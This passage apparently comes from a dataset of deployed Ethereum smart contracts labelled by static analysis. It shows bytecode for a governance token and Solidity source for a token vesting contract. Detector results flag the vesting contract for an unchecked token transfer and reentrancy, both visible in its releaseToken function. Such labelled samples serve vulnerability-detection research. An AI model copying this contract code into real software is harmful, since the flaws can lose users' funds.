cc826040518060600160405280602281526020016125a86022913961116f565b90506106e86106e1600054600260ff166113a8565b60646113e2565b816001600160601b031611156107105760405162461bcd60e51b81526004016106439061230c565b610746610728600054836001600160601b0316611383565b6040518060600160405280602781526020016126526027913961116f565b6001600160601b0390811660009081556001600160a01b03851681526004602090815260409182902054825160608101909352602580845261079894919091169285929091906126a190830139611424565b6001600160a01b03841660008181526004602052604080822080546001600160601b0319166001600160601b03959095169490941790935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610802908590612433565b60405180910390a36001600160a01b0380841660009081526005602052604081205461082f921683611460565b505050565b6005602052600090815260409020546001600160a01b031681565b6301e1338081565b61086133826115f2565b50565b60076020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600460205260409020546001600160601b031690565b600281565b60004382106108c65760405162461bcd60e51b81526004016106439061239c565b6001600160a01b03831660009081526007602052604090205463ffffffff16806108f4576000915050610496565b6001600160a01b038416600090815260066020908152604080832063ffffffff600019860181168552925290912054168310610970576001600160a01b03841660009081526006602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b03169050610496565b6001600160a01b038416600090815260066020908152604080832083805290915290205463ffffffff168310156109ab576000915050610496565b600060001982015b8163ffffffff168163ffffffff161115610a6e57600282820363ffffffff160481036109dd611893565b506001600160a01b038716600090815260066020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610a49576020015194506104969350505050565b805163ffffffff16871115610a6057819350610a67565b6001820392505b50506109b3565b506001600160a01b038516600090815260066020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60086020526000908152604090205481565b60405180604001604052806004815260200163554e495360e01b81525081565b600080610b0a836040518060600160405280602681526020016125276026913961116f565b9050610b173385836111dd565b5060019392505050565b6001600160a01b03811660009081526007602052604081205463ffffffff1680610b4c5760006105fb565b6001600160a01b0383166000908152600660209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b6000604051610b9f906121a8565b604080519182900382208282019091526008825267556e69536c75726d60c01b6020909201919091527ff8723e41bc78742142e0677bf95262856d5af2fed81f9071d121e4cef068a43e610bf161167c565b30604051602001610c05949392919061229b565b6040516020818303038152906040528051906020012090506000604051610c2b906121b3565b604051908190038120610c46918a908a908a9060200161225d565b60405160208183030381529060405280519060200120905060008282604051602001610c7392919061216c565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610cb094939291906122d0565b6020604051602081039080840390855afa158015610cd2573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610d055760405162461bcd60e51b81526004016106439061231c565b6001600160a01b03811660009081526008602052604090208054600181019091558914610d445760405162461bcd60e51b81526004016106439061234c565b87421115610d645760405162461bcd60e51b81526004016106439061233c565b610d6e818b6115f2565b505050505b505050505050565b6000600019861415610d905750600019610db5565b610db2866040518060600160405280602481526020016125fe6024913961116f565b90505b6000604051610dc3906121a8565b604080519182900382208282019091526008825267556e69536c75726d60c01b6020909201919091527ff8723e41bc78742142e0677bf95262856d5af2fed81f9071d121e4cef068a43e610e1561167c565b30604051602001610e29949392919061229b565b6040516020818303038152906040528051906020012090506000604051610e4f9061219d565b604080519182900382206001600160a01b038d16600090815260086020908152929020805460018101909155610e919391928e928e928e9290918e9101612203565b60405160208183030381529060405280519060200120905060008282604051602001610ebe92919061216c565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051610efb94939291906122d0565b6020604051602081039080840390855afa158015610f1d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610f505760405162461bcd60e51b81526004016106439061235c565b8b6001600160a01b0316816001600160a01b031614610f815760405162461bcd60e51b81526004016106439061237c565b88421115610fa15760405162461bcd60e51b8152600401610643906122fc565b84600360008e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055508a6001600160a01b03168c6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516110519190612433565b60405180910390a3505050505050505050505050565b6001600160a01b0391821660009081526003602090815260408083209390941682529190915220546001600160601b031690565b6040516104ae906121b3565b600660209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b6001546001600160a01b031633146111065760405162461bcd60e51b81526004016106439061238c565b6001546040517f3b0007eb941cf645526cbb3a4fdaecda9d28ce4843167d9263b536a1f1edc0f691611145916001600160a01b039091169084906121cc565b60405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b600081600160601b84106111965760405162461bcd60e51b815260040161064391906122eb565b509192915050565b6000836001600160601b0316836001600160601b0316111582906111d55760405162461bcd60e51b815260040161064391906122eb565b505050900390565b6001600160a01b0383166112035760405162461bcd60e51b8152600401610643906123dc565b6001600160a01b0382166112295760405162461bcd60e51b81526004016106439061232c565b6001600160a01b038316600090815260046020908152604091829020548251606081019093526036808452611274936001600160601b03909216928592919061254d9083013961119e565b6001600160a01b03848116600090815260046020908152604080832080546001600160601b0319166001600160601b039687161790559286168252908290205482516060810190935260308084526112dc949190911692859290919061262290830139611424565b6001600160a01b038381166000818152600460205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611349908590612433565b60405180910390a36001600160a01b0380841660009081526005602052604080822054858416835291205461082f92918216911683611460565b6000828201838110156105fb5760405162461bcd60e51b81526004016106439061236c565b6000826113b757506000610496565b828202828482816113c457fe5b04146105fb5760405162461bcd60e51b8152600401610643906123cc565b60006105fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611680565b6000838301826001600160601b0380871690831610156114575760405162461bcd60e51b815260040161064391906122eb565b50949350505050565b816001600160a01b0316836001600160a01b03161415801561148b57506000816001600160601b0316115b1561082f576001600160a01b03831615611543576001600160a01b03831660009081526007602052604081205463ffffffff1690816114cb57600061150a565b6001600160a01b0385166000908152600660209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061153182856040518060600160405280602881526020016126796028913961119e565b905061153f868484846116b7565b5050505b6001600160a01b0382161561082f576001600160a01b03821660009081526007602052604081205463ffffffff16908161157e5760006115bd565b6001600160a01b0384166000908152600660209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006115e4828560405180606001604052806027815260200161270360279139611424565b9050610d73858484846116b7565b6001600160a01b03808316600081815260056020818152604080842080546004845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4611676828483611460565b50505050565b4690565b600081836116a15760405162461bcd60e51b815260040161064391906122eb565b5060008385816116ad57fe5b0495945050505050565b60006116db436040518060600160405280603481526020016125ca6034913961186c565b905060008463ffffffff1611801561172457506001600160a01b038516600090815260066020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611783576001600160a01b0385166000908152600660209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611822565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600683528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600790935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161185d92919061244f565b60405180910390a25050505050565b600081600160201b84106111965760405162461bcd60e51b815260040161064391906122eb565b604080518082019091526000808252602082015290565b8035610496816124f7565b80356104968161250b565b803561049681612514565b80356104968161251d565b6000602082840312156118e857600080fd5b60006118f484846118aa565b949350505050565b6000806040838503121561190f57600080fd5b600061191b85856118aa565b925050602061192c858286016118aa565b9150509250929050565b60008060006060848603121561194b57600080fd5b600061195786866118aa565b9350506020611968868287016118aa565b9250506040611979868287016118b5565b9150509250925092565b600080600080600080600060e0888a03121561199e57600080fd5b60006119aa8a8a6118aa565b97505060206119bb8a828b016118aa565b96505060406119cc8a828b016118b5565b95505060606119dd8a828b016118b5565b94505060806119ee8a828b016118cb565b93505060a06119ff8a828b016118b5565b92505060c0611a108a828b016118b5565b91505092959891949750929550565b60008060408385031215611a3257600080fd5b6000611a3e85856118aa565b925050602061192c858286016118b5565b60008060008060008060c08789031215611a6857600080fd5b6000611a7489896118aa565b9650506020611a8589828a016118b5565b9550506040611a9689828a016118b5565b9450506060611aa789828a016118cb565b9350506080611ab889828a016118b5565b92505060a0611ac989828a016118b5565b9150509295509295509295565b60008060408385031215611ae957600080fd5b6000611af585856118aa565b925050602061192c858286016118c0565b611b0f8161247c565b82525050565b611b0f81612487565b611b0f8161248c565b611b0f611b338261248c565b61248c565b6000611b438261246a565b611b4d818561246e565b9350611b5d8185602086016124c1565b611b66816124ed565b9093019392505050565b6000611b7d601f8361246e565b7f556e69733a3a7065726d69743a207369676e6174757265206578706972656400815260200192915050565b6000611bb6601d8361246e565b7f556e69733a3a6d696e743a206578636565646564206d696e7420636170000000815260200192915050565b6000611bef60268361246e565b7f556e69733a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b6000611c37603a8361246e565b7f556e69733a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b6000611c9660268361246e565b7f556e69733a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b6000611cde60228361246e565b7f556e69733a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b6000611d22601f8361246e565b7f556e69733a3a7065726d69743a20696e76616c6964207369676e617475726500815260200192915050565b6000611d5b600283612477565b61190160f01b815260020192915050565b6000611d79601b8361246e565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000815260200192915050565b6000611db2601a8361246e565b7f556e69733a3a7065726d69743a20756e617574686f72697a6564000000000000815260200192915050565b6000611deb603e8361246e565b7f556e69733a3a7365744d696e7465723a206f6e6c7920746865206d696e74657281527f2063616e206368616e676520746865206d696e74657220616464726573730000602082015260400192915050565b6000611e4a60278361246e565b7f556e69733a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b6000611e9360248361246e565b7f556e69733a3a6d696e743a206f6e6c7920746865206d696e7465722063616e208152631b5a5b9d60e21b602082015260400192915050565b6000611ed9602f8361246e565b7f556e69733a3a6d696e743a2063616e6e6f74207472616e7366657220746f207481526e6865207a65726f206164647265737360881b602082015260400192915050565b6000611f2a605283612477565b7f5065726d69742861646472657373206f776e65722c616464726573732073706581527f6e6465722c75696e743235362076616c75652c75696e74323536206e6f6e63656020820152712c75696e7432353620646561646c696e652960701b604082015260520192915050565b6000611fa4604383612477565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b600061200f60218361246e565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f8152607760f81b602082015260400192915050565b6000612052603c8361246e565b7f556e69733a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b60006120b160238361246e565b7f556e69733a3a6d696e743a206d696e74696e67206e6f7420616c6c6f776564208152621e595d60ea1b602082015260400192915050565b60006120f6603a83612477565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b611b0f8161249b565b611b0f816124a4565b611b0f816124b6565b611b0f816124aa565b600061217782611d4e565b91506121838285611b27565b6020820191506121938284611b27565b5060200192915050565b600061049682611f1d565b600061049682611f97565b6000610496826120e9565b602081016104968284611b06565b604081016121da8285611b06565b6105fb6020830184611b06565b602081016104968284611b15565b602081016104968284611b1e565b60c081016122118289611b1e565b61221e6020830188611b06565b61222b6040830187611b06565b6122386060830186611b1e565b6122456080830185611b1e565b61225260a0830184611b1e565b979650505050505050565b6080810161226b8287611b1e565b6122786020830186611b06565b6122856040830185611b1e565b6122926060830184611b1e565b95945050505050565b608081016122a98287611b1e565b6122b66020830186611b1e565b6122c36040830185611b1e565b6122926060830184611b06565b608081016122de8287611b1e565b6122786020830186612151565b602080825281016105fb8184611b38565b6020808252810161049681611b70565b6020808252810161049681611ba9565b6020808252810161049681611be2565b6020808252810161049681611c2a565b6020808252810161049681611c89565b6020808252810161049681611cd1565b6020808252810161049681611d15565b6020808252810161049681611d6c565b6020808252810161049681611da5565b6020808252810161049681611dde565b6020808252810161049681611e3d565b6020808252810161049681611e86565b6020808252810161049681611ecc565b6020808252810161049681612002565b6020808252810161049681612045565b60208082528101610496816120a4565b602081016104968284612148565b604081016124188285612148565b6105fb6020830184612163565b602081016104968284612151565b60208101610496828461215a565b602081016104968284612163565b6040810161245d828561215a565b6105fb602083018461215a565b5190565b90815260200190565b919050565b60006104968261248f565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b6000610496826124aa565b60005b838110156124dc5781810151838201526020016124c4565b838111156116765750506000910152565b601f01601f191690565b6125008161247c565b811461086157600080fd5b6125008161248c565b6125008161249b565b612500816124a456fe556e69733a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473556e69733a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365556e69733a3a617070726f76653a20616d6f756e7420657863656564732039362062697473556e69733a3a6d696e743a20616d6f756e7420657863656564732039362062697473556e69733a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473556e69733a3a7065726d69743a20616d6f756e7420657863656564732039362062697473556e69733a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773556e69733a3a6d696e743a20746f74616c537570706c7920657863656564732039362062697473556e69733a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773556e69733a3a6d696e743a207472616e7366657220616d6f756e74206f766572666c6f7773556e69733a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365556e69733a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a365627a7a723158209816acb76a7752058af8c89518dc56b318b789b05931dc5891c6e5e567b871a16c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
4,825
0xd2bEAd21C0F175C386c203C972B82fc8DD42B839
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
4,826
0x7f388eadcbd1063acda82492ec6ad06c35759898
